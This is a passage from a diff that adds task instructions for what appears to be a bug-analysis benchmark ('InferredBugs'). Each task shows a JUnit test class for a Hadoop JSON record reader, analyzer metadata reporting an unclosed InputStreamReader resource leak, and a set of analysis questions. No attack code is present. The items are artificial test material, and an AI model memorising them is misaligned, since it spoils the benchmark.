+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws Exception {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Ignore
+	public void TestCharacters() throws Exception {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws Exception {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 84 is not released after line 84.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordMrv2.TestArbitrarySplitLocations()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordMrv2.TestArbitrarySplitLocations():void.4de196aca71c989baf28e5a534222973
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordMrv2.java
+
+### Key:
+TestUnenclosedJsonRecordMrv2.java|TestArbitrarySplitLocations|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+a8516802fc32f2098b045507762ccfcd
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8731/instruction.md b/inferredbugs-8731/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ffe25556635fc6212945cd9231c8a1b6cfc0220a
--- /dev/null
+++ b/inferredbugs-8731/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 12
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 61 is not released after line 61.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestArbitrarySplitLocations()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestArbitrarySplitLocations():void.851a3133a8f28b0234f524393ae816fa
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestArbitrarySplitLocations|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+ba91296adf8991d55d95d937b0ad998a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8736/instruction.md b/inferredbugs-8736/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c15819bc2f6b65a959d5b3a849a98f6d4da89089
--- /dev/null
+++ b/inferredbugs-8736/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 49
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
